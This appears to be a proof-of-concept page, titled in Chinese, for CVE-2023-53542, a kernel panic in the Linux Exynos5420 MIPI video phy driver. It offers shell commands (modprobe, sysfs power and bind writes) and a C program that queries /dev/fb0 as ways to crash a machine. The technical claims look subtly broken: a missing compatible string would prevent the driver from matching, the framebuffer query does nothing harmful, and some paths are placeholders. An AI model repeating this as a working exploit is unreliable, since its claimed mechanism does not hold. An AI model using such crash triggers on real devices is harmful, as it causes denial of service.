CVE-2023-53542 Linux内核Exynos5420 MIPI视频phy驱动兼容性问题导致内核崩溃

// CVE-2023-53542 PoC - Trigger kernel panic via Exynos5420 MIPI phy // This vulnerability is triggered when the MIPI video phy driver // fails to match the device due to missing compatible string in DTS. // Method 1: Trigger via display subsystem initialization // On a system running Exynos5420 with vulnerable kernel, // the following commands can trigger the kernel panic: /* # Load the display/phy subsystem modules or access display devices modprobe exynos_mipi_video_phy # OR echo 1 > /sys/devices/platform/soc/.../mipi-video-phy/power/control # OR simply boot the system - panic occurs during boot if display is enabled */ // Method 2: Trigger via framebuffer access // If the system boots despite the issue, accessing the framebuffer // device will trigger the phy initialization and cause panic: #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/fb.h> int main() { int fb_fd; struct fb_var_screeninfo vinfo; // Open the framebuffer device - this triggers MIPI phy initialization fb_fd = open("/dev/fb0", O_RDWR); if (fb_fd < 0) { perror("Cannot open framebuffer device"); return -1; } // Get variable screen information - triggers phy driver probe if (ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo)) { perror("FBIOGET_VSCREENINFO failed"); close(fb_fd); return -1; } printf("Display: %dx%d\n", vinfo.xres, vinfo.yres); close(fb_fd); return 0; } // Method 3: Direct sysfs access to trigger phy probe /* # Trigger device probe via sysfs echo "exynos5420-mipi-video-phy" > /sys/bus/platform/drivers/.../bind # This will cause kernel panic if the compatible string is missing in DTS */ // Note: The actual trigger occurs during kernel boot when the display // subsystem initializes the MIPI DSI phy. The kernel panic manifests as: // "Unable to handle kernel paging request" or "kernel BUG at drivers/phy/..." // followed by a complete system hang requiring hardware reset.